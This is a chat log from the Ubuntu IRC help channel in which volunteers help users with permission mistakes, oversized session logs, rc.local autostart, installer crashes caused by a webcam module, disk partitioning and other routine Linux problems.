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escottfbdystang, if it would go away on reboot it a kernel bug of some kind00:00
fuzzyghostHeya, got a quick question; how bad is it, if you sudo chmod 0+rwx / on a local machine?00:00
escottfbdystang, or your /tmp is enormous00:00
fbdystangescott, should I just try rebooting now?00:00
escottfuzzyghost, reinstall00:00
fuzzyghostReally?00:00
fuzzyghostSo, it is usable, as long as I don't reboot/turn off?00:01
fuzzyghostIs it fixable at this point that I can use it?00:01
eighteenshi i'm trying to get a kodak esp 2150 wireless printer to work in ubuntu 13.04 with no luck at all, however it will print to a hp printer via usb cable00:01
surbsescott, lunitik, fbdystang: i have class, will be moving location and disconnecting for the time being. hopefully you will be still on; as of now thank you for the help!00:01
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Guest65921any one can help with getting ubuntu 12.10  to work with intel 845g graphics?00:01
fuzzyghostWhat were the permissions before hand?00:02
fuzzyghostAnything I can do?00:02
surbsGuest65921, https://help.ubuntu.com/community/BinaryDriverHowto/ might be a start00:03
OerHeksfuzzyghost, reinstall, backup your data first00:03
fbdystangescott, sudo du -sh /tmp says 100K00:03
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fuzzyghostAll my stuff is kept on a secondary drive, but I'm not in a position to reinstall at the moment.  I'm on vacation two states away from my secondary machines, no extra install discs.00:04
scksssssscan anyone tell me how to get unity back00:04
Edogaaanyone here use the i3 WM?00:04
fuzzyghostI didn't use -r, just on the root directory.  Root still owns /, and the directories below.  Can't I just sudo chmod o=rw, or o=r?00:04
fbdystangescott, i give up I am rebooting00:05
mario45366Lunikiti Do you happen to know why yahoo is redirecting google chrome 17 to http://m.yahoo.com/?.tsrc=yahoo&mobile_view_default=true  the mobile site?  I never did this before00:05
hexacodehey you guys, i had ubuntu and windows 7 running dual boot, then i installed mint over ubuntu and now i have no dual boot options...it just goes straight to windows....wat can i do about this? i know mint was installed successfully00:07
Jordan_Uhexacode: Try asking in #grub or in the mint support channel. This channel only supports Ubuntu.00:08
Jordan_U!mint | hexacode00:08
ubottuhexacode: Linux Mint is not a supported derivative of Ubuntu. Please seek support in #linuxmint-help on irc.spotchat.org00:08
escottfuzzyghost, if you didnt -r its mostly ok 75500:09
fbdystangescott, dang I rebooted and borked it. No GUI in. Please help me find the offending file through command line...please00:09
escottfuzzyghost, you do have to worry somewhat if it were a multi user system and someone notice and took advantag eof it00:10
escottfbdystang, you could boot the livecd and use the gui from it00:10
fuzzyghostOkay, going to set permissions in / back to 755.00:10
fuzzyghostI'm the only user set up on this laptop.00:10
sckssssssWHY DON'T I HAVE UNITY00:10
fuzzyghostThank you.00:10
scksssssswoops00:10
fbdystangescott, ok I could do that, is that the best way?00:11
escottfbdystang, if you are more comfortable with a gui yes00:11
fbdystangescott, is it ok if I check back in with you later when I can be physically in front of the server/00:12
fbdystang*?00:12
fuzzyghostJust in case, my flub was sudo chmod o+rwx /*, but I performed a sudo chmod 755 /*.00:13
fuzzyghostSo hopefully I won't need to reinstall.00:13
fuzzyghostEither way, thank you all for the help.00:14
psomodiHi, anybody with any experience with VIA video drivers?00:14
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LockziHey guys, I have a problem I hope you can help me with. I am trying to autostart an rvm application on boot... Any hints? The problem is first of all RVM that assumes an bash environment, secondly I want it to run as a specific user00:15
dr_willisVia makes video chipsets? thought they were a MB chipset/maker00:15
dr_willisLockzi:  no idea what rvm is.. but if its a non-X-Gui program. you could start it from rc.local as whatever user you want00:16
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Lockzidr_willis: https://rvm.io/00:16
LockziIt's Ruby essentially00:16
dr_willisyou can use sudo or su from rc.local to spawn somthing as a differnt  user. in  /etc/rc.local00:17
Lockzican I "chain" that with a screen session that it lives in?00:17
dr_willisyou could spawn a screen session from rc.local if you wanted00:20
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dr_willisand screen can be set to auto-run differnent apps in differnt sessions00:20
dr_willisor use tmux, or byobu00:20
Lockzidr_willis, what do you mean by "set to auto-run"? That sounds interesting ;)00:21
dr_willisyou can run apps when you start screen...00:21
dr_willisjust like it sounds..00:21
LockziAh, ok00:21
dr_willissee the screen docs.. i rarely  use  the  feature00:21
dr_willistmux has similer feature i recall00:22
LockziHow would you recomment I try this out?00:22
LockziI rather not reboot all the time while testing00:22
dr_willisget a screen session doing what you want. then  figure out  how to  launch  it from rc.local00:23
dr_willisvia sudo or su in rc.local00:23
dr_willisthis may  not work right if your users are using encrypted homes..00:24
dr_willisand the user you want to run stuff as.. has their home encrypted00:24
approach_exit00:24
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Fishsceneok so, I'm trying to boot a laptop off of Ubuntu. Can't burn a CD because it's 800MB, can't burn a DVD because (I have no idea?), BIOS spits error can't boot from device. I can't boot from USB because while creating it, Pendrive says it will be unbootable. Tried downloading Xubuntu, but I can't seem to get a good download link.00:29
scksssssscan nobody help me with unity?00:29
fbdystangescott, I found the file ".xsession-errors"00:29
FishsceneDoes anyone know how I might possibly boot Ubuntu??00:30
fbdystang170G00:30
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dr_willisFishscene:  the pendrivelinux site has alternative tools to  making  a bootable usb00:30
Lockzidr_willis While testing now it asks me for a password when I run the su command, that will NOT happen when ran through rc.local?00:30
dr_willisFishscene:  you can image the iso strifht to usb via dd or windows imageing tools if needed00:30
dr_willisLockzi:  rc.local runs as root to  begin with00:30
Lockzidr_willis Which means that chaning users should not require passwords?00:31
dr_willissckssssss:  ask a actual question to see00:31
dr_willisLockzi:  you got it00:31
LockziPerfect00:31
Fishscenedr_willis: I'll look into the pendrive alternate solution. I can't dd anything properly (believe me, I've tried)00:31
sckssssssoh, you mean repeat it00:31
sckssssssok00:31
dr_willisLockzi:  ive started vnc sessions that way befor00:31
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dr_willisFishscene:  what os are you  on right now?00:32
LockziSo... In my script I have: su -c "screen -d -m -S SiriProxy" - administrator00:32
scksssssswhen i login, there is no unity, just a desktop and icons00:32
LockziBut it does not initiate a screen session...00:32
scksssssshappened after i installed updates00:32
peopleoftheinteri have an ad blocker in my android /etc/hosts, could someone please give me the link of http://adf.ly/B91Zt ? thx00:32
fbdystangdr_willis, how do I read a 170Gb error log through the command line?00:32
dr_willissckssssss:  either its a video driver issue. or a user config issue.. if a newly  made user fails - that points to a video driver issue00:32
sckssssssits not the video drivers00:32
sckssssssi am still using them00:33
dr_willisfbdystang:  with the more or less commands..  but i bet you are going to have a hard time finding any  use full info00:33
scksssssscan also login to other window managers00:33
Guest65921any one can help with intel82845 graphics driver in ubuntu 12.1000:33
LockziSorry, scratch that - it does indeed create a screen session... But then it does not run the following commands (silly me)00:33
dr_willissckssssss:  prove that  statement by   adding a new user. and see if  they work properly00:33
Fishscenedr_willis: I'm on Windows 7 x6400:34
fbdystangdr_willis, is there a way to just display the last little bit of errors?00:34
dr_willissckssssss:  sudo adduser billgates    then see if billgatges can login properly00:34
dr_willisFishscene:  theres windows image tools that can image the iso  straight to flash. you may need to rename the .iso  to  .img  but they can work. I might  have some listed at  my   delicious.com/dr_willis page00:34
Fishsceneok. Thanks mate!00:35
dr_willisFishscene:  the #raspberrypi channel should know of more imageing tools also.00:35
dr_willisabout the only  time i use them is to  image a raspPi img to a sd card.00:35
dr_willisbb in a few...00:35
crooperq00:36
idiocrashhi guys, anyone familiar with OpenDirectory?00:36
Lockzidr_willis: Where should I place my custom bash script? ~/bin?00:37
Lockziinit.d/?00:38
TellmarchHello, what is the best option to encrypt a full external hard drive? i'd like to keep good performances, if possible...00:39
sckssssssstill no unity00:41
sckssssssnew user logs in fine00:42
escottfbdystang, you can safely remove that00:43
histo!anyone | idiocrash00:44
ubottuidiocrash: A high percentage of the first questions asked in this channel start with "Does anyone/anybody..." Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.00:44
Jeatoni dont know if this would be a problem with ubuntu, gnome, or xchat but when I click minimize to tray, xchat disappears completely00:44
Jeatoneven though the process is still running00:44
histoJeaton: it's on the launmcher00:44
escottfbdystang, tail ~/.xsession-errors00:46
histos/launmcher/launcher/00:46
Jofironsesello, I'm going to engage in an academic projects in which I'm going to need signals of up to 5 V. So I'd like to know if it is possible to output such signals with the sound card in my pc from linux or is it better to use a serial port from usb? Or maybe there is another better choice?00:46
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sckssssssi think you can get 3.3/5v out of usb00:47
histoJofironses: serial/usb00:48
Jeatonhisto, what do you mean by that? I know it use to stick it on the indicator tray00:48
Jeatonbut it doesnt show up anywhere00:48
Jofironsesright, is there something made to work with the serial on linux?00:48
JofironsesI mean, some kind of command00:49
Jofironsesor maybe a library00:49
histoJofironses: you could write directly to it in linux. Everything is files. You may wan't to look at rasbperry pi and their gpio pins or ask some of them. I'm sure there is an pi channel on freenode.00:50
Fishscenedr_willis: I figured out the pendrivelinux.com installer problem. The drive was formatted FAT32 or EXFAT. It needed to be NTFS. It's too bad that the format option on the universal usb installer doesn't *actually* format the drive to what it needs.00:50
Jofironseshisto: Thanks for your sugestion, I'll look into it.00:51
Lockzidr_willis: Thank you for your help - I got it working! :)00:52
scksssssswish you would help me...00:52
histoJofironses: or the arduino community would have some input00:52
sckssssssi heard you are good at it...00:52
Jofironsesk00:53
histo!who | sckssssss00:53
ubottusckssssss: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)00:53
scksssssshe knows who he is00:54
celso_hi people! Does anyone knows how to fix the "dummy output" sound bug on ubuntu 12.10 and ubuntu 12.04.2 versions?00:55
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StephBotThe new LibreOffice 4.0 is released, but why I can't update to it by using apt?00:57
Jeatonhisto, what do you mean by it's on the launcher?00:57
escottStephBot, because thats not how ubuntu works00:57
TellmarchStephBot, ubuntu will generally not let you use the latest versions of software... you'll get a new version when you upgrade your ubuntu (to 13.04 in a few months for instance)00:58
Tellmarchit's often possible to add unofficial repositories though, with the latest versions00:58
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PackOfHighlyanyone know why a bootable 12.04 on usb drive made with Pendrive would boot into the start screen (where you can select start unbuntu install unbutu boot 1st harddrive, etc) but just go to that screen again when you select any option besides boot from 1st harddrive?00:58
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scksssssswhy does unity suck so bad?01:01
histoJeaton: the thing on the left side of the desktop where all the icons are. When you minimize something in unity it goes there to it's icon.01:01
_helios_sckssssss: I don't think Unity sucks.01:01
histosckssssss: I don't think it does either. It's growing on me quite a bit. You don't have to use it either. No one is twisting your arm.01:01
scksssssslol, yeah, you are right01:02
sckssssssi'll just stop using it01:02
_helios_sckssssss: there's plenty of flavors to choose from.01:02
S-USA|AnnoyedDoes a Wubi install need to be the same size as the target partition of the HDD you wish to move it to? (wubi-move.sh)01:03
_helios_S-USA|Annoyed: I wouldn't suggest a Wubi install.01:03
histo!notunity | sckssssss01:04
ubottusckssssss: Ubuntu 11.10 and higher use GNOME 3 with the !unity shell by default.  To use GNOME Shell instead, install the "gnome-shell" package and investigate "gnome-tweak-tool".  For GNOME Fallback mode, which is similar to GNOME 2, install "gnome-panel". Both packages will place entries in the Sessions dropdown. Using Natty? See !classic01:04
histoS-USA|Annoyed: who wrote wubi-move.sh?01:04
TellmarchS-USA|Annoyed, it just needs to be bigger01:04
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sckssssssi have gnome-shell01:04
Jeatonhisto, im running gnome-classic, i guess that is supported here, and previous versions of ubuntu ive ran, it has always stuck it on the indicator tray01:05
* dr_willis suggests running away from wubi01:05
sckssssssonly use it when unity hates me01:05
* _helios_ agrees with dr_willis 01:05
Tellmarchguys, he's precisely trying to run away from wub01:05
Tellmarchwubi01:05
histoJeaton: What version of ubuntu are you running?01:05
Jeaton12.1001:06
Jeatonanyway, this install, whenever i minimize xchat, it disappears completely, even though the process is still running01:06
histoJeaton: How exactly are you running gnome-classic?  Did you install gnome-panel?01:06
histoJeaton: Can you bring it back with alt+tab01:06
psomodihi everyone01:07
Jeatonive never tried alt+tab to see if it works01:07
asdad5ahi01:07
asdad5ahow i can make the cube01:07
psomodianybody with experience with via chrome9 gpu's?01:07
asdad5awith alt+tab xubuntu01:07
psomodii cant boot live cd... :S01:07
asdad5awhy?01:07
asdad5awhat appear?01:07
Jeatonanyway, i just switched it over to gnome classic under session when I did a fresh install01:07
psomodii get black screen before ubuntu 12.10 and four dots screen01:08
dr_willisasdad5a: the cube is a compiz feature.01:08
SonikkuAmerica(TEST)01:08
LaserShark(echo)01:08
dr_willisSonikkuAmerica: pass01:08
grimetonhi01:09
asdad5ai got that trouble with amd hd6520g01:09
SonikkuAmericadr_willis, LaserShark: (Thank you, I was having connection issues.)01:09
Jeatonno, alt+tab isn't working01:09
asdad5awhen you poweron your pc01:09
grimetoneither i have some trouble with my filesystem or somebody put a file with utf-8 into the package tree01:09
asdad5aappear the grub01:09
grimetonthe readline-common package has a lot of utf-8 stuff in it01:09
grimetonand apt-get errors out01:09
dr_willis!nomodeset | asdad5a01:09
asdad5aand you need to edit something and agree some words that i cant remember and it work01:09
ubottuasdad5a: A common kernel (boot)parameter is nomodeset, which is needed for some graphic cards that otherwise boot into a black screen or show corrupted splash screen. See http://ubuntuforums.org/showthread.php?t=1613132 on how to use this parameter01:09
Ben64SonikkuAmerica: you know, you could just do /whois SonikkuAmerica01:10
SonikkuAmericaBen64: True enough... it said I wasn't connected before. A couple of people think it's floodbot ban magic.01:11
SonikkuAmericaAnyway: I'm planning on migrating a Wubi install to a physical partition via the wubi-move.sh script. Do the Wubi install and the physical partition have to be the same size for it to work correctly? (Currently, Wubi < physical partition)01:12
YueFairchildI'm having trouble with installing xubuntu from a live cd.01:12
YueFairchildWhenever the installer gets to the part where it loads the webcam to take a user picture, it displays garbage characters in the webcam window, then says it reached an unrecoverable error.01:13
YueFairchildWhat am I doing wrong?01:13
sazpaimon_how do I make it so alt+tab switches between all windows, instead of grouping by applications?01:13
sazpaimon_Ubuntu 12.10 BTW01:13
TellmarchYueFairchild, ubuntu is doing something wrong, not you :-)01:14
escottYueFairchild, thats fun. can you disable the webcam?01:14
YueFairchildI don't know linux so well. Is that possible, from the live CD?01:15
escottYueFairchild, the easiest would be to unplug it but if it is built in thats harder01:15
YueFairchildBuilt-in, I'm afraid. It's a laptop.01:15
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LucenutHey guys, I'm a newb with xubuntu. I like it but can't figure out how to connect to my local network/windows shares.01:16
PackOfHighlyAnyone know why booting to a live USB and selecting the first option on the  boot menu to start a live session would just start the boot menu over again?01:16
YueFairchildEscott, is it okay if I PM you?01:16
dr_willissazpaimon_: i belive thers a stting in compiz via the ccsm tool for that. i think i saw a guide on that tweak at    askubuntu.com01:16
escottYueFairchild, if you ctrl-alt-f1 and login at the console you can "sudo lsmod | grep v4l" and that should list something. then "sudo rmmod <<the word with v4l on the left>>"01:16
escottYueFairchild, ctrl-alt-f7 to get back to the gui01:17
witheldOkay, Ubuntu has a package called libwebkitgtk-1.0-0. It also has a package called libwebkitgtk-3.0. Both of these have the exact same description. The newest version of webkitgtk(according to webkitgtk.org), is 1.11.5. I'm confused01:17
sazpaimon_dr_willis, I assigned alt tab to "Key to flip through windows in the switcher", but that makes it so alt+tab is essentially alt+`01:17
SonikkuAmericaPackOfHighly: Probably either a recursive call in the menu, or something got nutsed up when you downloaded the ISO in the first place.01:18
escottYueFairchild, alternately "sudo rmmod videodev" but I dont want to make assumptions about what device module it is01:18
YueFairchildUmmm.01:18
arcadiaHello?01:18
YueFairchildCan I PM you? I'm not getting a console.01:18
SonikkuAmericaarcadia: Hello!01:18
LucenutActually I guess I have Xfce. How do I connect to my local network windows shares?01:19
TellmarchLucenut, first answer in http://xubuntu.org/news/faq-1204-precise/ ?01:19
SonikkuAmerica>>> I'm planning on migrating a Wubi install to a physical partition via the wubi-move.sh script. Do the Wubi install and the physical partition have to be the same size for it to work correctly? (Currently, Wubi < physical partition)01:19
YueFairchildI typed sudo lsmod | grep v4lm and nothing happened01:20
TellmarchSonikkuAmerica, then you're fine01:20
escottYueFairchild, alternately you could boot the livecd and select try ubuntu then remove the module, then click the install ubuntu button01:20
arcadiaI need to ask your advice on something. If thats okay and ofcourse youre not busy and all :D01:20
TellmarchSonikkuAmerica, it checks the size for you anyway01:20
SonikkuAmericaTellmarch: Thanks! (I've been waiting all day for an answer)01:20
PackOfHighlySonikkuAmerica: the md5sum checks out and I didn't make any changes to the boot menu.  It's what comes on ubuntu-12.04.2-desktop-amd64.iso01:20
escottYueFairchild, its preferred to keep the conversation in channel in case someone else sees something im missing01:20
YueFairchildOh, okay01:20
mlimbhi all- does anyone use virtualenvwrapper here?01:22
saydyup01:22
mlimbi'm trying to locate my virtualenvwrapper_bashrc file01:22
YueFairchildI'm going to try disabling the module from the Xubuntu UI.01:22
YueFairchildHow do I do that?01:22
mlimband been looking up linux commands to do one, but having difficulty01:22
Lucenut"Yes, using Gigolo. If you are not able to see the network check if gvfs-backends is installed."01:22
LucenutHow do I do that?01:22
mlimbsayd: do you know where your virtualenvwrapper_bashrc file is located?01:23
escottYueFairchild, the module is either going to be videodev or something related to v4l01:23
saydmlimb: looking01:23
YueFairchildBut...01:23
YueFairchildHow do I GET TO the module?01:23
mlimbwhen I do locate 'virtualenvwrapper_bashrc' or find -name 'virtualenvwrapper_bashrc' I don't get any output01:23
mlimbsayd: thanks01:23
saydmlimb: youre talking abuot the file youre supposed to source in .{bash|zsh}login right01:23
mlimbsayd: yep01:23
escottYueFairchild, with lsmod the stuff on the left is the module, the stuff on the right depends on the stuff on the left. so lsmod | grep v4l will show you the v4l module, you probably have videodev attached to that and uvcvideo or whatever actual camera driver attached to videodev.01:23
saydmine is /usr/local/share/python/virtualenvwrapper.sh01:24
saydim not sure where you got that filename01:24
fbdystangescott, I figured out the file and deleted it. I found the problem with the logs being huge = vino-server. can I just reinstall vino-server to get it running again?01:24
escottYueFairchild, the actual command to remove modules is "sudo rmmod module-name"01:24
mlimbi got it from this link http://www.doughellmann.com/articles/pythonmagazine/completely-different/2008-05-virtualenvwrapper/index.html01:24
escottfbdystang, you can also periodically remove that file01:24
mlimbsayd: what command do you recommend for finding file or directory on linux??01:24
mlimbthat you have no idea where it is01:25
saydwhich01:25
saydlocate, whence, whereis01:25
escottfbdystang, there is probably a way you could redirect xsession errors to /dev/null on a specific application basis which might be the best workaround01:25
saydfind01:25
mlimbsayd: if you don't get any output does it mean it doesn't exist??01:25
saydfind . -name foo*.c01:26
arcadiaI am new to linux and messing with ubuntu. Most of the time, i am encountering errors that is not familiar with me. I need to somewhat restore the current state of my ubuntu like nothing happened so that i can do trial and error. I tried google and the best answer i got is to clone my partition, I need your advice.01:26
saydmlimb: no those w* commands all search the PATH01:26
dr_willislocate uses a database thats updated tegullary01:26
fbdystangescott, I had done that previously but it looks like it broke on an update or something. I also created a directory with the same name so it couldn't write to it. Broke again. I found the reason the logs were growing and it is fixed. However, vino-server does not work, any ideas?01:26
escottfbdystang, not really01:27
mlimbsayd: you're saying that all the w* commands only search within the path, so files not in the path wont' be detected, right?01:27
saydyep mlimb01:27
elisa87What should I do? unable to find program 'java' on your PATH01:27
mlimbsayd: but what does it mean if you don't get any return stmt? after i type any of the above commands with virtualenvwrapper_bashrc i don't get any output01:28
saydyou can use find from the root with sudo to search all the things01:28
dr_willisinstall java01:28
dr_willis!java01:28
ubottuTo just use java you need a "Java Runtime Environment" (JRE) and/or a browser plugin. If that is not sufficient you will need a "Java Development Kit" (JDK) aka "Software  Development Kit" (SDK).  Please see https://help.ubuntu.com/community/Java about how to install one of three current implementations.01:28
mlimbsayd: ok but that would probably take more time I assume01:28
saydmlimb: sudo find / -name virtualenvwrapper*01:28
fbdystangescott, it looks like a simple restart fixed vino-server. Wow. Thanks for the help :)01:28
arcadiaHello01:29
arcadiamind if i ask something?01:29
saydmlimb: did you install recently?01:29
saydfollow the docs here: and make sure you have the env vars set: http://virtualenvwrapper.readthedocs.org/en/latest/install.html01:29
histosayd: whynot use locate01:29
saydit looks like the _bashrc is from 1.x01:29
saydhisto: i told him about locate01:30
LucenutOK, so I enter my Server name in Gigolo, then it asks for share and I enter the share name which is "wwwroot" and username "Greg".01:31
LucenutBut it won't connect.01:31
histomlimb: locate filename   If it's something recently installed sudo updatedb first  to update slocates database01:31
Bray90820Anyone around to help me fix my charging problem on my dell insperon duo01:31
Bray90820every time i plug or unplug the charger i get a kernel panic01:31
LucenutIt pops up a dialog asking for Domain and password.01:32
pawshow can i monitor my RAM to see which process is taking up ram... it keeps going higher and higher.. and my ram never goes any lower01:32
elisa87dr_willis which java? oracle java or sun java?01:32
LucenutI tried WORKGROUP and then my pw but no worky.01:32
saydpaws: top01:32
Tellmarchelisa87, oracle bought sun01:32
Tellmarchso it's the same01:33
escottpaws, what possible benefit is there to having ram usage go down?01:33
mlimbsayd: yep that worked!01:33
pawssayd: top sorts the processes by CPU how can sort it by RAM01:33
escott!atemyram01:33
Bray90820Sun almost bought apple once01:33
ubottuIf you are wondering why some tools report your system has very little free memory, have a look at http://www.linuxatemyram.com/ | A short primer on Linux memory management can be found here: http://sourcefrog.net/weblog/software/linux-kernel/free-mem.html01:33
histopaws: you can use top or nmon or ps01:33
escottpaws, ^^^01:33
mlimbsayd: o I'm not him01:33
pawsescott: when i reach 90s% i want it to go down :)01:33
saydpaws: oram01:33
fbdystangtemp01:33
escottpaws, then i'm glad you don't write operating systems01:34
mlimbhisto: o that helps too thanks01:34
saydactually not sure what the command is to sort by ram in ubuntu's top01:34
saydin osx you can use 'o' in the app to change the ordering01:35
arcadiaI need to somewhat restore the current state of my ubuntu like nothing happened so that i can do trial and error. I tried google and the best answer i got is to clone my partition, I need your advice.01:35
saydpaws: f01:35
histopaws: make sure you read the linuxatemyram.com  page01:36
LucenutWhat do I put for domain when trying to connect to windows shares with Gigolo? I tried WORKGROUP.01:38
histosayd: you can use the > key to move forward through the column sorts. and < to go back01:39
histoor press the n key01:40
saydhisto: thx01:40
deadmundUsing wireshark, what is this traffic I see going to "daisy.ubuntu.com" ?01:40
saydhisto is there a way to know what the current sort is?01:41
saydthere is no visual cue with using >?01:41
dr_willishtop is a little easier to use01:42
elisa87Why do I have this error ? hpcviewer: cannot execute binary file01:43
escottYueFairchild, any progress?01:43
SunMoonStarHi all. I want to install this font and am having trouble. http://www.levien.com/type/myfonts/inconsolata.html Fristly I don't know which file type to get. It offers otf and psa and something else. I tried to download the OTF one and in the ubuntu font viewer I clicked Install. However, it said install failed.01:43
Random832SunMoonStar: try putting the file in your ~/.fonts directory (make the directory if it doesn't exist)01:43
SunMoonStarRandom832: and that is all?01:44
Random832i said try it - i make no guarantees it will work01:44
Random832the OTF is probably the file you want though01:44
histosayd: turning color mode on with z you can see01:44
YueFairchildSorry!01:44
histosayd: or if you use b possibly01:44
YueFairchildThis is my mom's laptop, soooo she decided she'd use my computer.01:44
escottSunMoonStar, spin around clockwise three times and chant "i think it will work, i think it will work, i think it will work"01:44
escottSunMoonStar, you might have to logout, but with any basic ttf that should be sufficient01:45
SunMoonStarwow that worked01:45
histosayd: type x then b01:45
SunMoonStarhaha01:45
SunMoonStarthanks guys01:45
YueFairchildSo...What am I doing, exactly?01:45
YueFairchildTo disable the webcam from the live CD?01:45
saydhisto: nice01:45
histosayd: I'm just quickly browsing hte man pages there are tons of options. I just use nmon or htop01:45
SunMoonStarI'm not sure if it worked because of ~/.fonts or because I spun around 3 times01:45
escottYueFairchild, well you have to get to a terminal, and then find and remove the appropriate module01:45
YueFairchildOkay. How do I get to a terminal?01:46
YueFairchildCtrl-alt-f1?01:46
saydyeah, i was looking at ntop too01:46
histosayd: htop is a lot nicer.  nmon is more of an overall tool. not pid specific.01:46
Bray90820on my dell insperon duo netbook every time i plug or unplug the charger i get a kernel panic01:46
genii-aroundYueFairchild: More importantly, don't forget how to return to the desktop:  alt-F701:46
histoBray90820: What from acpi freaking out?  Have yout ried search askubuntu or the forums for your model + version of ubunut?01:47
YueFairchildheh.01:47
escottYueFairchild, http://paste.ubuntu.com/1695359/01:47
YueFairchildOkay.01:47
elisa87dr_willis Why do I have this error ? hpcviewer: cannot execute binary file01:47
YueFairchildI'm at a terminal.01:47
Bray90820i have tried ubuntu forums and everyone is saying that dell themselves have to fix it but on some ubuntu based distros such as JollyOS it works fine01:47
escottYueFairchild, so "lsmod | grep vid" and figure out what one is the camera01:48
Bray90820if i disable acpi it works correctly tho01:48
histoYueFairchild: why are you trying to disable the webcam?01:48
YueFairchildBecause the installer crashes.01:48
dr_williselisa87: file is not executable or currupted. or invalis01:48
escotthisto, kernel panic on install01:48
YueFairchildAnyway, all I got was01:48
histoahh01:48
YueFairchild>videodev 95841 1 gspca_main01:48
histothat's odd01:48
dr_williselisa87: file is not executable or currupted. or invalid script file01:48
YueFairchild>video 18847 1 191501:48
YueFairchildThat's all I got.01:48
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histoYueFairchild: lsmod | grep vid | pastebinit01:48
escottYueFairchild, the gspca_main is probably the one you want01:48
YueFairchildSo...What do I type to disable gspca_main?01:49
escottYueFairchild, "sudo rmmod gscpa_main"01:49
escottYueFairchild, "sudo rmmod gspca_main"01:49
Bray90820histo i think acpi is freaking out01:49
escottYueFairchild, and hopefully it doesn't get reprobed later.01:50
histoBray90820: So it's an issue with whatever kernel you are running and your hardware if others are fine.01:50
histoBray90820: What version of ubuntu are you running?01:50
YueFairchildERROR: Module gspca_main is in use by gspca_vc032x01:50
Bray9082012.04 x6401:50
escottYueFairchild, then remove the gspca_vc032x then gspca_main01:50
elisa87dr_willis how can I convert a C++ program into .exe binary?01:50
Bray90820and it has happened on all previous versions of ubuntu as well01:50
escottelisa87, g++01:50
histoBray90820: You could try running a newer kernel and see if it solves your issue01:51
YueFairchildI think it worked.01:51
dr_williselisa87: you compile code. and windows uses. exe  not linux01:51
psomodiHi, do you know how to start openchrome drivers at grub menu?01:52
Bray90820histo if i run this code it seems to fix it01:52
Bray90820http://pastebin.com/raw.php?i=EdJu3HXb01:52
histoBray90820: although I believe they just added the quantal kernel to precise with 12.04.201:52
Bray90820but i think that just turns ACPI off01:52
escottYueFairchild, lsmod | grep gspca should be blank01:52
YueFairchildHere we go. :x01:52
elisa87dr_willis:  sorry I have this .C file and I don't know how to turn it into .exe binary ?! with gcc01:52
escottYueFairchild, then try the install. hopefully it works. if it does you will want to blacklist those modules after the install01:52
YueFairchildLet's see if it crashes again.01:52
histoBray90820: I'm not sure perhaps someone else will.01:53
YueFairchildI think it worked!01:53
Bray90820Anyone else :)01:53
YueFairchildIT WORKED!01:53
YueFairchildThank you so much, everyone?01:53
Bray90820Also if i close the cover and then plug/unplug the charger i don't get the panic01:54
escottYueFairchild, do lookup modules blacklists01:54
escottYueFairchild, you just need a file in /etc/modprobe.d that contains "blacklist gspcs-blah-blah01:55
escottYueFairchild, and maybe an update-initramfs01:55
cagrijosthello guys, anyone know about the ubuntu installer=01:56
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cfhowlett!anyone|cagrijost,01:56
ubottucagrijost,: A high percentage of the first questions asked in this channel start with "Does anyone/anybody..." Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.01:56
cagrijostsorry :-( my installer wont detect anything on my 3tb harddisk on the laptop. it shows an empty harddisk01:57
escottcagrijost, brand new laptop with windows 7?02:00
cagrijostbrand new with win 7, but upgraded to win 802:00
escottcagrijost, interesting. can you paste the output of "sudo parted -l"02:00
escott!paste | cagrijost02:01
ubottucagrijost: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.02:01
pooltablewhen i am chose from two grafix cards is core clock speeed the main factor on the fastest ??02:01
escottpooltable, no02:01
cagrijost 1  2  3  4  5  6  7  8  9 10    Number  Start  End  Size  File system  Name  Flags   Model: Integral Courier (scsi) Disk /dev/sdb: 16,0GB Sector size (logical/physical): 512B/512B Partition Table: msdos  Number  Start   End     Size    Type     File system  Flags  1      4129kB  16,0GB  16,0GB  primary  fat32        boot, lba02:02
cagrijostokay.. that was bad02:02
pooltableescott how do i know?02:02
cagrijosthttp://paste.ubuntu.com/1695465/02:02
escottcagrijost, its not even showing the disk. that is exciting02:03
pooltableescott not sure on amd which is 21 more money or nvida?02:03
cagrijostsorry my bad02:03
cagrijosthttp://paste.ubuntu.com/1695478/02:03
escottcagrijost, gotta love MSFT they really screwed that one up02:03
cagrijostwhat is msft :b02:04
psusiwhat do you mean not showing the disk?02:04
escottcagrijost, so rodsbooks.com is going to be something you will want as a reference02:04
escottcagrijost, assuming that windows boots it appears that your win7->win8 transition introduced a blank gpt table onto the disk but did not invalidate the existing msdos table02:04
pooltableor any other grafix card compare site help ???02:04
dr_willis!compile | elisa8702:04
ubottuelisa87: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first). Also read !checkinstall02:04
escottcagrijost, on top of that an msdos table won't support your 3tb disk02:05
psusiescott, why do you say that?02:05
psusiescott, he didn't show the disk in question in his paste02:05
asdffhello all.. quick question.. anyone who has a acer c7 chrubuntu installed, is apt-get upgrade or dist-upgrade safe or will it break anything? anything i should know?02:05
mega1is there a command to see whos using the ftp when they loged in02:05
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escottpsusi, i was responding to the first paste02:05
dr_willisasdff:  chrubuntu?02:05
elisa87a .o is considered an application or only a .exe ?02:05
cfhowlettdr_willis, chrome buntu??02:06
SolarisBoyreally?02:06
dr_williselisa87:  the  extension .exe is for windows. not linux02:06
psusiescott, I must have missed it, where's that?02:06
cagrijostpsusi: the installer says i got no existing OS on my drive etc. and when it press the "do something else" button, then it shows one big 3tb partition02:06
dr_williselisa87:  a file in linux is executable it it has the executable bit set02:06
psusicagrijost, and what does parted -l show?02:06
YueFairchildUhhh.02:06
YueFairchildIt restarted and all I see is a black screen.02:06
cagrijostescott: you sure? because the win8 was a clean install, i whiped everything etc02:06
escottcagrijost, for your system the configuration i would want is a gpt table with a bios boot. that means you need to use "gdisk" to zap the gpt structures, then convert the existing msdos table to a gpt table, then add a grub_bios partition of 1MB or so, and then install ubuntu02:06
asdffchrubuntu = chromebooks ubuntu02:06
YueFairchildDid I break something?02:07
escottcagrijost, well it did something wrong02:07
escott!nomodeset | YueFairchild02:07
ubottuYueFairchild: A common kernel (boot)parameter is nomodeset, which is needed for some graphic cards that otherwise boot into a black screen or show corrupted splash screen. See http://ubuntuforums.org/showthread.php?t=1613132 on how to use this parameter02:07
